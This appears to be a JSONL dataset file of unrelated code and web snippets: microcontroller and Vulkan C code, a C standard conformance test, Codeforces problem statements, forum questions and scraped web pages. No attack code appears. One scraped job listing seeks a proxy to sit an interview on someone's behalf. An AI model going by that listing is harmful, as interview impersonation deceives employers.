{"text": "/*Changes vs. original 2.2\r\n- simplified ifdef for use with CC1110\r\n*/\r\n\r\n#include <cc1110.h>\r\n#include \"subg_rfspy.h\"\r\n\r\n// All ISR functions must be present or included in the file that contains the\r\n// function main, as described in SDCC manual section 3.8.1\r\nvoid t1_isr(void) __interrupt T1_VECTOR;\r\nvoid rftxrx_isr(void) __interrupt RFTXRX_VECTOR;\r\nvoid rf_isr(void) __interrupt RF_VECTOR;\r\nvoid rx1_isr(void) __interrupt URX1_VECTOR;\r\nvoid tx1_isr(void) __interrupt UTX1_VECTOR;\r\nvoid port1_isr(void) __interrupt P1INT_VECTOR;\r\n\r\n\r\nint main(void)\r\n{\r\n  subg_rfspy_main();\r\n}", "source": "cpt_stack_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Petya and Vasya arranged a game. The game runs by the following rules. Players have a directed graph consisting of n vertices and m edges. One of the vertices contains a chip. Initially the chip is located at vertex s. Players take turns moving the chip along some edge of the graph. Petya goes first. Player who can't move the chip loses. If the game lasts for 106 turns the draw is announced.\n\nVasya was performing big laboratory work in \"Spelling and parts of speech\" at night before the game, so he fell asleep at the very beginning of the game. Petya decided to take the advantage of this situation and make both Petya's and Vasya's moves.\n\nYour task is to help Petya find out if he can win the game or at least draw a tie.", "source": "cpt_codeforces", "language": "en", "token_count": 177, "token_count_with_eod": 178, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "The position of the leftmost maximum on the segment $$$[l; r]$$$ of array $$$x = [x_1, x_2, \\ldots, x_n]$$$ is the smallest integer $$$i$$$ such that $$$l \\le i \\le r$$$ and $$$x_i = \\max(x_l, x_{l+1}, \\ldots, x_r)$$$.\n\nYou are given an array $$$a = [a_1, a_2, \\ldots, a_n]$$$ of length $$$n$$$. Find the number of integer arrays $$$b = [b_1, b_2, \\ldots, b_n]$$$ of length $$$n$$$ that satisfy the following conditions:\n\n- $$$1 \\le b_i \\le m$$$ for all $$$1 \\le i \\le n$$$;\n- for all pairs of integers $$$1 \\le l \\le r \\le n$$$, the position of the leftmost maximum on the segment $$$[l; r]$$$ of the array $$$b$$$ is equal to the position of the leftmost maximum on the segment $$$[l; r]$$$ of the array $$$a$$$.\n\nSince the answer might be very large, print its remainder modulo $$$10^9+7$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 267, "token_count_with_eod": 268, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You are given an array of integers $$$a_1, a_2, \\ldots, a_n$$$. Calculate the number of subarrays of this array $$$1 \\leq l \\leq r \\leq n$$$, such that:\n\n- The array $$$b = [a_l, a_{l+1}, \\ldots, a_r]$$$ occurs in the array $$$a$$$ as a subsequence exactly once. In other words, there is exactly one way to select a set of indices $$$1 \\leq i_1 < i_2 < \\ldots < i_{r - l + 1} \\leq n$$$, such that $$$b_j = a_{i_j}$$$ for all $$$1 \\leq j \\leq r - l + 1$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 169, "token_count_with_eod": 170, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "// Copyright 2015 Intel Corporation\n//\n// Permission is hereby granted, free of charge, to any person obtaining a\n// copy of this software and associated documentation files (the \"Software\"),\n// to deal in the Software without restriction, including without limitation\n// the rights to use, copy, modify, merge, publish, distribute, sublicense,\n// and/or sell copies of the Software, and to permit persons to whom the\n// Software is furnished to do so, subject to the following conditions:\n//\n// The above copyright notice and this permission notice (including the next\n// paragraph) shall be included in all copies or substantial portions of the\n// Software.\n//\n// THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.  IN NO EVENT SHALL\n// THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING\n// FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS\n// IN THE SOFTWARE.\n\n#include \"util/cru_format.h\"\n\n#define FMT(__vk_token) .format = __vk_token, .name = #__vk_token\n\nstatic const struct cru_format_info\ncru_format_info_table[] = {\n    {\n        FMT(VK_FORMAT_R8_UNORM),\n        .num_type = CRU_NUM_TYPE_UNORM,\n        .num_channels = 1,\n        .cpp = 1,\n        .is_color = true,\n    },\n    {\n        FMT(VK_FORMAT_R8G8B8A8_UNORM),\n        .num_type = CRU_NUM_TYPE_UNORM,\n        .num_channels = 4,\n        .cpp = 4,\n        .is_color = true,\n        .has_alpha = true,\n    },\n    {\n        FMT(VK_FORMAT_R16_UNORM),\n        .num_type = CRU_NUM_TYPE_UNORM,\n        .num_channels = 1,\n        .cpp = 2,\n        .is_color = true,\n    },\n    {\n        FMT(VK_FORMAT_D16_UNORM),\n        .num_type = CRU_NUM_TYPE_UNORM,\n        .num_channels = 1,\n        .cpp = 2,\n        .depth_format = VK_FORMAT_D16_UNORM,\n    },\n    {\n        FMT(VK_FORMAT_X8_D24_UNORM_PACK32),\n        .num_type = CRU_NUM_TYPE_UNORM,\n        .num_channels = 1,\n        .cpp = 3,\n        .depth_format = VK_FORMAT_X8_D24_UNORM_PACK32,\n    },\n    {\n        FMT(VK_FORMAT_D32_SFLOAT),\n        .num_type = CRU_NUM_TYPE_SFLOAT,\n        .num_channels = 1,\n        .cpp = 4,\n        .depth_format = VK_FORMAT_D32_SFLOAT,\n    },\n    {\n        FMT(VK_FORMAT_S8_UINT),\n        .num_type = CRU_NUM_TYPE_UINT,\n        .num_channels = 1,\n        .cpp = 1,\n        .stencil_format = VK_FORMAT_S8_UINT,\n    },\n    {\n        FMT(VK_FORMAT_D16_UNORM_S8_UINT),\n        .num_type = CRU_NUM_TYPE_UNDEFINED,\n        .num_channels = 2,\n        .cpp = 3,\n        .depth_format = VK_FORMAT_D16_UNORM,\n        .stencil_format = VK_FORMAT_S8_UINT,\n    },\n    {\n        FMT(VK_FORMAT_D24_UNORM_S8_UINT),\n        .num_type = CRU_NUM_TYPE_UNDEFINED,\n        .num_channels = 2,\n        .cpp = 4,\n        .depth_format = VK_FORMAT_X8_D24_UNORM_PACK32,\n        .stencil_format = VK_FORMAT_S8_UINT,\n    },\n    {\n        FMT(VK_FORMAT_D32_SFLOAT_S8_UINT),\n        .num_type = CRU_NUM_TYPE_UNDEFINED,\n        .num_channels = 2,\n        .cpp = 5,\n        .depth_format = VK_FORMAT_D32_SFLOAT,\n        .stencil_format = VK_FORMAT_S8_UINT,\n    },\n    {\n        FMT(VK_FORMAT_UNDEFINED),\n    },\n};\n\n#undef FMT\n\nconst struct cru_format_info *\ncru_format_get_info(VkFormat format)\n{\n    const struct cru_format_info *info;\n\n    for (info = cru_format_info_table;\n         info->format != VK_FORMAT_UNDEFINED; ++info) {\n        if (info->format == format) {\n            return info;\n        }\n    }\n\n    return NULL;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 1077, "token_count_with_eod": 1078, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "This full website whois and analysis report on Twistedfork.me was ran on December, 12, 2013.\nWe include detailed information like the server IP Address which is 126.96.36.199. Twistedfork.me resides at Rackspace Hosting in San Antonio, TX, United States.\nThe official title of Twistedfork.me is: Dan Matutina is Twistedfork\nThe official description of Twistedfork.me is:\nDan Matutina loves Science, Tech & Design Twistedfork. Made in the Philippines.\nIt is 11:03 PM CET when you ran this report for Twistedfork.me here on our website, IP-Adress.com. When it comes to Twistedfork.me, you can trust that if we have Whois information available for it, we will display it further below to assist in your research of Twistedfork.me. Feel free to run another Twistedfork related search, or start a new query.\nThe Whois report for Twistedfork.me was ran at 11:03 PM CET on December 12, 2013 and the information is provided below if available.\nView comments on this Twistedfork whois website report below or add your own comment about Twistedfork.me.\nNow you can review additional Whois data for Twistedfork.me below. Things like the status of Twistedfork, expiration date of Twistedfork.me, and Twistedfork name servers.\nDon't forget that Twistedfork could have other domain extensions you might want to run a Whois search for and get further information about Twistedfork owned services.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 352, "token_count_with_eod": 353, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "In the evening Polycarp decided to analyze his today's travel expenses on public transport.\n\nThe bus system in the capital of Berland is arranged in such a way that each bus runs along the route between two stops. Each bus has no intermediate stops. So each of the buses continuously runs along the route from one stop to the other and back. There is at most one bus running between a pair of stops.\n\nPolycarp made n trips on buses. About each trip the stop where he started the trip and the the stop where he finished are known. The trips follow in the chronological order in Polycarp's notes.\n\nIt is known that one trip on any bus costs a burles. In case when passenger makes a transshipment the cost of trip decreases to b burles (b < a). A passenger makes a transshipment if the stop on which he boards the bus coincides with the stop where he left the previous bus. Obviously, the first trip can not be made with transshipment.\n\nFor example, if Polycarp made three consecutive trips: \"BerBank\" $$\\rightarrow$$ \"University\", \"University\" $$\\rightarrow$$ \"BerMall\", \"University\" $$\\rightarrow$$ \"BerBank\", then he payed a + b + a = 2a + b burles. From the BerBank he arrived to the University, where he made transshipment to the other bus and departed to the BerMall. Then he walked to the University and returned to the BerBank by bus.\n\nAlso Polycarp can buy no more than k travel cards. Each travel card costs f burles. The travel card for a single bus route makes free of charge any trip by this route (in both directions). Once purchased, a travel card can be used any number of times in any direction.\n\nWhat is the smallest amount of money Polycarp could have spent today if he can buy no more than k travel cards?", "source": "cpt_codeforces", "language": "en", "token_count": 399, "token_count_with_eod": 400, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "The number of consumers making purchases online continues to increase. This year, American online retail sales are projected to reach $224.2 billion. It is the new wave of commerce and, depending on the industry, ecommerce represents either an opportunity for big profit or a death knell for the brick-and-mortar business. The landscape is changing, and businesses must adapt to survive.\nMarketing is the way companies interact with consumers to create relationships that are beneficial to both parties. Businesses use marketing to identify their audience before advertising to them. Today, this is most visible through social media interactions and contests.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "#include <assert.h>\n#include <stddef.h>\n#include <string.h>\n\nint main(int argc, char *argv[]) {\n\t/*\n\t * S2.1.2.2p4.1 \"The value of argc shall be nonnegative.\"\n\t */\n\tassert(argc >= 0);\n\n\t/*\n\t * S2.1.2.2p4.2 \"argv[argc] shall be a null pointer.\"\n\t */\n\tassert(argv[argc] == NULL);\n\n\t/*\n\t * S2.1.2.2p4.3 \"If the value of argc is greater than zero, the array members\n\t * argv[0] through argv[argc-1] inclusive shall contain pointers to\n\t * strings, which are given implementation-defined values by the host\n\t * environment prior to program startup.\"\n\t */\n\tif (argc > 0) {\n\t\tint i;\n\t\tfor (i = 0; i <= argc - 1; i++) {\n\t\t\tassert(strlen(argv[i]) >= 0);\n\t\t}\n\t}\n\n\t/*\n\t * 2.1.2.2p4.4 \"If the value of argc is greater than zero,\n\t * the string pointed to by argv[0] represents the program name;\n\t * argv[0][0] shall be the null character if the program name\n\t * is not available from the host environment.\"\n\t */\n\t/* UNTESTED: \"argv[0] represents the program name\" */\n\tif (argc > 0) {\n\t\tassert(strlen(argv[0]) > 0 || argv[0][0] == '\\0');\n\t}\n\n\t/*\n\t * 2.1.2.2p4.4 \"If the value of argc is greater than one, the strings\n\t * pointed to by argv[1] through argv[argc-1] represent the program\n\t * parameters.\"\n\t */\n\t/* UNTESTED: \"argv[1] through argv[argc-1] represent the program parameters\" */\n\tif (argc > 0) {\n\t\tint i;\n\t\tfor (i = 1; i <= argc - 1; i++) {\n\t\t\tassert(strlen(argv[i]) >= 0);\n\t\t}\n\t}\n\n\t/*\n\t * 2.1.2.2p4.5 \"The parameters argc and argv and the strings pointed\n\t * to by the argv array shall be modifiable by the program ...\"\n\t */\n\tif (argc > 0) {\n\t\tunsigned int z;\n\t\tchar *p;\n\t\tint i;\n\t\tz = 0U;\n\t\tfor (i = 0; i <= argc - 1; i++) {\n\t\t\tfor (p = argv[i]; *p != '\\0'; p++) {\n\t\t\t\t*p = \"abcdef\"[z++ % 6];\n\t\t\t}\n\t\t}\n\t}\n\n\t/*\n\t * 2.1.2.2p4.5 \"... and retain their last-stored values between program\n\t * startup and program termination.\"\n\t */\n\tif (argc > 0) {\n\t\tunsigned int z;\n\t\tchar *p;\n\t\tint i;\n\t\tz = 0U;\n\t\tfor (i = 0; i <= argc - 1; i++) {\n\t\t\tfor (p = argv[i]; *p != '\\0'; p++) {\n\t\t\t\tassert(*p == \"abcdef\"[z++ % 6]);\n\t\t\t}\n\t\t}\n\t}\n\n\treturn 0;\n}", "source": "cpt_stack_code", "language": "code", "token_count": 786, "token_count_with_eod": 787, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "Intellisense is great, but it is no substitute for reading documentation. I’m always upset when I hear developers say that their primary source of learning is looking at what intellisense offers them.\nThere are a few methods which can be considered part of LINQ, which aren’t extension methods. This means that unless you actually type out Enumerable, you will never see then in intellisense. The nature of extensions methods means that you won’t ever type out enumerable, so these methods are less discoverable than others.\nSystem.Linq.Enumerable is where the library implementation of LINQ to objects lives. Empty, Range and Repeat methods are hand tools.\nEmpty is useful for those cases when you don’t want a null object, but instantiating an Enumerable is wasteful. For example, creating a new empty List of string to pass to a linq expression when some other data source may return null or empty. I’m thinking of combining linq expressions here. The anti-wasteful programmer might say “well, just use a new empty string array”. And that programmer would be right. This would use less memory than a new List. But the really nice part about Empty is that its underlying implementation is just a generic singleton based on type. That means instead of 1000 or 100,000 “new string” in your code, eating up a tiny bit of ram (ok, its pretty small here, I know, but doesn’t every little bit help?) you have only one empty string array that all cases can share.\nRange should be familiar to anyone coming from python. It just returns an enumerable range of numbers from start to end. IMO it isn’t as nice as pythons, but I can always write my own. Still not clear? Here is how you would write a summary from one to one hundred million of n-1 + 1/i.\nvar x = Enumerable.Range(1, 100000000).Aggregate(0f, (a, b) => (float)(a + 1 / (float)b));\nFinally, Repeat is similar to range, it just gives an enumerator which yields the same object/value repeatedly.\nExample of using repeat to make 5 hello worlds:\nvar fiveWorlds = Enumerable.Repeat(“Hello World”, 5);\nConsole.WriteLine(fiveWorlds.Aggregate((a,b)=>a + “\\n” +b ));", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 504, "token_count_with_eod": 505, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Develop a fully functional WordPress site as per attached document. Please read attached doc carefully. Thanks\nI would like a person with creative flair to take a look at the website and my resume and collate the information into a one page introduction.\nHello, i have a software which i decompiled using JustDecompile. The code is clearly readable and working. I want a developer to port the existing code to a new app with the same functionality. Ps the app is heavy, it includes a gui and has lot of work with networking. Send me your price and some of your recent projects by inbox.\nQueremos contratar el diseño de una vivienda de 4 habitaciones, interes en estilo moderno, se contratará el diseño interior de areas sociales y cocina\n...configure Windows Server 2016 with Hyper-V services o Integrate the installed servers into the networking environment up to the point where Remote Desktop connectivity is functional Required outputs The following outputs are expected from the expert: • Live equipment on the Jamaica site installed and remotely accessible for the Consultant...\n...new [url removed, login to view] need testers who can do end to end testing which includes but not limited to functional testing. QA person should be able to test different browsers and log bugs on a online bug server. There may be also need to record and load test functional tests using JMETER , so proficiency with JMETER is preferable. Tester should be able to do\nneed a Female sap functional proxy for modules Material Management and Production Planning to take interview call\nNeed a business analyst to write detailed user and functional requirements for a SailPoint application. Need this done asap.\nFunctional testing, creation of test cases, test matrix, in base of use cases the site and use cases are in spanish , so the documentation should be generated in spanish including the evidence of testing and bugs reports, also the test matrix should be created in spanish you can use translator, the only requeriment is the documentation will be understandable\nSITE OPTIMIZING PLOTS, REPORTS WITH LEGENDS, GRID,WCDMA (3G) REPORTS, LTE(4G) PLOTS AND REPORTS, CDMA AND GSM (2G) PLOTS REPORTS WITH DRIVE TEST KEY PARAMETERS INDICATORS\n...probably the 3rd time I am creating this project and freelancers are not providing me with a functional design. Keep in mind that your design needs to be 100% functional. All pieces should be easily sourced or 3d printed. Here is a link to the current design I have. [url removed, login to view] I want this redesigned to look \"cool\" and function as n...\n1) Researched about the Bio Gas Plant project. 2) Industrial analysis ( Future Outlook and trend, analysis of competition, market segmentation, industry forecast) 3) Analysis the targeted customer for the project. 4) Describing the products, Services, Size of Business and Background). 5) Analysis the construction, designing and layout of the plant. 6) Estimate the weakness and strength. 7) Estima...", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 631, "token_count_with_eod": 632, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Simon has a prime number x and an array of non-negative integers a1, a2, ..., an.\n\nSimon loves fractions very much. Today he wrote out number $$\\frac{1}{x^{a_1}} + \\frac{1}{x^{a_2}} + \\ldots + \\frac{1}{x^{a_n}}$$ on a piece of paper. After Simon led all fractions to a common denominator and summed them up, he got a fraction: $$\\text{S}$$, where number t equals xa1 + a2 + ... + an. Now Simon wants to reduce the resulting fraction.\n\nHelp him, find the greatest common divisor of numbers s and t. As GCD can be rather large, print it as a remainder after dividing it by number 1000000007 (109 + 7).", "source": "cpt_codeforces", "language": "en", "token_count": 182, "token_count_with_eod": 183, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Hi, I’ve bought a dedicated wildcard SSL certificate from the CF control panel. I’m trying to install it on IIS 6.1.\nI’ve tried a myriad of different things, converting formats with OpenSSL and I can’t get it to recognise it as a valid certificate.\nTo import a certificate, it needs to be .pfx\nTo complete a CSR request, the file provided needs to be .cer\nCF doesn’t provide files, just the raw keys to make the certificates. I’ve followed their guide for IIS but it just takes me to Digicert’s website where the advice is not tailored to CF’s format.\nCF offers to generate a CSR and just give you the cert key and the private key but then you have to convert that to RSA private key and then bundle both of those into a pfx or cer file? And what of the CA key?\nYou can provide your own CSR but that only gets me as far as needing to complete the CSR myself in IIS.\nCan anyone help with a few simple steps to get it into IIS?\nAny advice appreciated!", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 228, "token_count_with_eod": 229, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "How to Test a Breakout Board for Your Raspberry Pi\nTo test your homemade breakout board for the Raspberry Pi, you need a multimeter, a device for measuring current, voltage, and resistance. You can obtain a cheap one from a thrift shop for less than $10.\nFirst, select resistance or continuity on the switch on the front of the meter and make sure that there are no shorts between adjacent wires in the ribbon cable. You will know it is a short when the continuity indicator bleeps or the resistance measurement shows zero or a very low ohm reading (less than 10 ohms).\nNext, plug the cable into your Raspberry Pi with the ribbon running away from the board and the polarizing bump pointing into the board. Do not power up your Raspberry Pi yet.\nCheck that you have continuity between the five ground connections. Now power up your Pi and set your meter to measure voltage. Put the black or negative meter wire on a ground connector and the red or positive meter wire on a 5V block. You should see close to 5V.\nNext measure the voltage between the ground and the two 3V3 connections in turn. Again, you should see a value very close to 3V3. If these checks fail, shut down the Raspberry Pi disconnect the cable and check all your wiring.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "/**\n * \\file\n * \\copyright\n * Copyright (c) 2012-2021, OpenGeoSys Community (http://www.opengeosys.org)\n *            Distributed under a Modified BSD License.\n *              See accompanying file LICENSE.txt or\n *              http://www.opengeosys.org/project/license\n *\n */\n#pragma once\n\n#include \"MaterialLib/MPL/Property.h\"\n#include \"MathLib/KelvinVector.h\"\n\nnamespace MaterialPropertyLib\n{\n/**\n * \\class EmbeddedFracturePermeability\n * \\brief Permeability model as proposed by Olivella&Alonso\n * \\details This property must be a medium property, it\n * computes the permeability in dependence of the strain\n *\n *  The model was proposed\n *  in \\cite alonso2006mechanisms and it was further investigated\n *  in \\cite olivella2008gas .\n *\n *   The model takes the form of\n *  \\f[ \\mathbf{k} = k_\\text{m} \\mathbf{I} + \\frac{b}{a} \\left( \\frac{b^2}{12}\n *      - k_\\text{m} \\right) \\left( \\mathbf{I} - \\mathbf{M} \\right)\n *  \\f]\n *  with\n *  \\f[ \\mathbf{M} = \\vec{n} \\otimes \\vec{n} \\f]\n *  and\n *  \\f[ b = b_0 + \\Delta b \\\\\n *      \\Delta b = a \\langle \\varepsilon_\\text{n}- \\varepsilon_0 \\rangle\n *  \\f]\n *   where\n *   <table>\n *   <tr><td>\\f$ k_\\text{m} \\f$  <td> permeability of undisturbed material\n *   <tr><td>\\f$ b \\f$  <td> fracture aperture\n *   <tr><td>\\f$ b_0 \\f$  <td> initial aperture\n *   <tr><td>\\f$ a \\f$  <td> mean fracture distance\n *   <tr><td>\\f$ \\vec{n} \\f$  <td> fracture normal vector\n *   <tr><td>\\f$ \\varepsilon_n \\f$  <td> strain in fracture normal direction\n *   <tr><td>\\f$ \\varepsilon_0 \\f$  <td> threshold strain\n * </table>\n */\ntemplate <int DisplacementDim>\nclass EmbeddedFracturePermeability final : public Property\n{\nprivate:\n    Medium* _medium = nullptr;\n    Eigen::Matrix<double, 3, 1> const _n;\n    bool const _n_const;\n    double const _k;\n    double const _b0;\n    double const _a;\n    double const _e0;\n\npublic:\n    EmbeddedFracturePermeability(\n        std::string name,\n        Eigen::Matrix<double, 3, 1> const fracture_normal,\n        bool const fracture_normal_is_constant,\n        double const intrinsic_permeability,\n        double const initial_aperture,\n        double const mean_fracture_distance,\n        double const threshold_strain);\n\n    static int const KelvinVectorSize =\n        MathLib::KelvinVector::kelvin_vector_dimensions(DisplacementDim);\n    using SymmetricTensor = Eigen::Matrix<double, KelvinVectorSize, 1>;\n\n    void checkScale() const override;\n\n    PropertyDataType value(VariableArray const& variable_array,\n                           ParameterLib::SpatialPosition const& pos,\n                           double const t, double const dt) const override;\n    PropertyDataType dValue(VariableArray const& variable_array,\n                            Variable const primary_variable,\n                            ParameterLib::SpatialPosition const& pos,\n                            double const t, double const dt) const override;\n};\n\n}  // namespace MaterialPropertyLib", "source": "cpt_stack_code", "language": "code", "token_count": 884, "token_count_with_eod": 885, "validation_channel": "code", "validation_source": "cpt_stack_code"}
{"text": "CLIENT: Community Workshop, Seattle CATEGORY: Sustainability Toolkit, Education TOOLS USED: Adobe Illustrator, MS Word\nConnect the Green Dots is a sustainability toolkit for home life and community. This toolkit was developed for local community workshops, in the Seattle area, as a resource for individuals and organizations to provide an easy to understand roadmap for making more sustainable choices in their daily lives and how to influence their community. The goal of the toolkit is to get people thinking about their role in making more sustainable choices based on each of the four system conditions. The toolkit was presented in a video format. Each system condition was presented with examples, and participants actively participated in discussions creating an open dialog and idea generating workshop.\nThis toolkit was designed using The Natural Step Framework (TNS) guidelines. It is a science based framework consisting of four system conditions.\n- Eliminate our contribution to the progressive buildup of substances extracted from the Earth’s crust (for example, heavy metals and fossil fuels)\n- Eliminate our contribution to the progressive buildup of chemicals and compounds produced by society (for example, dioxins, PCBs, and DDT).\n- Eliminate our contribution to the progressive physical degradation and destruction of nature and natural processes (for example, over harvesting forests and paving over critical wildlife habitat).\n- Eliminate our contribution to conditions that undermine peoples’ capacity to meet their basic human needs (for example, unsafe working conditions, not enough pay to live on, a lack of safe affordable housing, and access to healthy food and safe water).", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 310, "token_count_with_eod": 311, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "We are a group of computational, systems, and evolutionary biologists broadly interested in molecular evolution, population genetics, and the dynamics and evolution of gene regulatory networks. Our approach is both theoretical and experimental and we try to tackle the big questions in these fields by building on the latest advances in computer science and systems biology.\nLATEST LAB NEWS\n|13 Feb. 2019||Tahmid's new clustering method is out in bioinformatics. Software is here|\n|21 Dec. 2018||Check out Ian's calcium bursts, now published in G3|\n|6 Sept. 2018||Congratulations to Purnima for successfully defending her PhD thesis!|\n|4 Jul. 2018||Check out our latest paper in BMC Systems Biology|\n|9 Apr. 2018||Congratulations to Clarissa for winning the award for best poster|\n|5 Apr. 2018||Alex's paper on a systematic study of protein localization patterns using microscopy images is published in eLife!|\nCRZ1 Pulse - From Ian's research project\n|Mehdi TF, Singh G, Mitchell JA, Moses AM. Variational Infinite Heterogeneous Mixture Model for Semi-supervised Clustering of Heart Enhancers. Bioinformatics 2019 Feb 7\nBioinformatics link PDF Mirror PubMed Abstract Article\n|Hsu IS, Strome B, Plotnikov S, Moses AM. A Noisy Analog-to-Digital Converter Connects Cytosolic Calcium Bursts to Transcription Factor Nuclear Localization Pulses in Yeast. G3 2019 Feb 7;9(2):561-570.\nG3 link PDF Mirror PubMed Abstract Article\n|Lu AX, Handfield LF, Moses AM. Extracting and Integrating Protein Localization Changes from Multiple Image Screens of Yeast Cells. Bio-protocol Vol 8, Iss 18, Sep 20, 2018.\nBio-protocol link PDF Mirror", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 424, "token_count_with_eod": 425, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Is there a way to use filtering (searching) in CGridView for a model attribute which is not a DB column?\nI have a User model which has a role attached to it (using Yii RBAC). In the manage users page I use CGridView to display all users and I also display each user’s role. I want to be able to search also by role but I don’t want to use a model relation between User and AuthItem because I would like to keep my RBAC code independent of the actual RBAC implementation that I use. I may switch to CPhpAuthManager or another (LDAP for example) at a later stage. I would like to stick to CAuthManager API for accessing and managing RBAC specific functions.\nSo is there a way to make CGridView search/filter a model attribute which is not DB-backed, i.e. continue to use the CActiveDataProvider for the normal model attributes and different provider (that is using CAuthManager for reading the roles) for the role field?\nI can’t see any way that you would be able to sort or filter in CGridView using a non db attribute - the filtering/sorting is done using SQL generated from the model, so will only work on values that can be used in the SQL.\nDepending on how you’re creating your CActiveDataProvider for use with the grid view, then you could perhaps do getData() on it, to retrieve the data, then manually sort it before passing it to the grid view, but obviously any such sorting and filtering would then only be applied to the current grid page.\nwell, I think it’s not impossible. but before that, how are you populating users’ roles in gridView now? you set their roles in their session or what?\nand another question could be how many roles a user can have?\nassuming each user has one role (just for simplicity, main idea would be the same) if I had this problem, I would use CArrayDataProvider instead of CActiveDataProvider. this way we can simply load our data from DB using Active Record and user Model, then we can filter it using whatever function we want, and finally, we can populate our ArrayDataProvider and pass it to view.\nso our search function would be something like this: (pseudo code, of course)\n$criteria = new CDbCriteria;\n$criteria->condition = filtering normal db parameters\n$rawResults = self::model()->findAll($criteria);\n$usefulRawResults = self::attachRoles($rawResults); // you probably will attach each users role to its AR object so we can refer later, lets say using this function\n$finalResults = self::filterByRole($specificRole, $usefulRawResults); // this function can simply loop users and check if one has this role or not, returning the ones pass the if\n$arrayDataProvider = new CArrayDataProvider;\n$arrayDataProvider <= we should make $finalResults ready and pass it to arrayDataProvider, documentations will help a lot\nI think that’s the whole Idea, see if it works, and if there were any problems, let me know", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 635, "token_count_with_eod": 636, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Firecrackers scare Nian the monster, but they're wayyyyy too noisy! Maybe fireworks make a nice complement.\n\nLittle Tommy is watching a firework show. As circular shapes spread across the sky, a splendid view unfolds on the night of Lunar New Year's eve.\n\nA wonder strikes Tommy. How many regions are formed by the circles on the sky? We consider the sky as a flat plane. A region is a connected part of the plane with positive area, whose bound consists of parts of bounds of the circles and is a curve or several curves without self-intersections, and that does not contain any curve other than its boundaries. Note that exactly one of the regions extends infinitely.", "source": "cpt_codeforces", "language": "en", "token_count": 140, "token_count_with_eod": 141, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You are given an array of $$$N$$$ integers: $$$[A_1, A_2, \\dots, A_N]$$$.\n\nA subsequence can be derived from an array by removing zero or more elements without changing the order of the remaining elements. For example, $$$[2, 1, 2]$$$, $$$[3, 3]$$$, $$$[1]$$$, and $$$[3, 2, 1, 3, 2]$$$ are subsequences of array $$$[3, 2, 1, 3, 2]$$$, while $$$[1, 2, 3]$$$ is not a subsequence of array $$$[3, 2, 1, 3, 2]$$$.\n\nA subsequence is microwavable if the subsequence consists of at most two distinct values and each element differs from its adjacent elements. For example, $$$[2, 1, 2]$$$, $$$[3, 2, 3, 2]$$$, and $$$[1]$$$ are microwavable, while $$$[3, 3]$$$ and $$$[3, 2, 1, 3, 2]$$$ are not microwavable.\n\nDenote a function $$$f(x, y)$$$ as the length of the longest microwavable subsequence of array $$$A$$$ such that each element within the subsequence is either $$$x$$$ or $$$y$$$. Find the sum of $$$f(x, y)$$$ for all $$$1 \\leq x < y \\leq M$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 341, "token_count_with_eod": 342, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Join GitHub today\nGitHub is home to over 31 million developers working together to host and review code, manage projects, and build software together.Sign up\nAPPEAL TO ALL DEVELOPERS AND MEMBERS OF THE INTERNATIONAL LAW COMMUNITY\nAnybody is welcome to commit to this Github repository if they have a smart contract idea that helps us build the Operating System for Ethscape's decentralised polity.\nHowever, only if we go beyond the creation of an open-source code repository of smart contracts, meritorious as this may be, and achieve sovereign status will Ethscape prove its value in the real world. Our ultimate product therefore has to be a country, in the tradition of other nation building projects but without the fatal flaw of terrestrial territory.\nThat is why we work on Ethereum as the only “sovereign-grade”, censorship-resistant public chain fit for our purpose.\nThis is also why we hope we can appeal to all members of the Ethereum developer community who are looking for more political fulfilment in their development work, as well as members of the international law community who are challenged by the idea of a first-of-its-kind sovereign polity on blockchain without territory, tax or fiat money.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
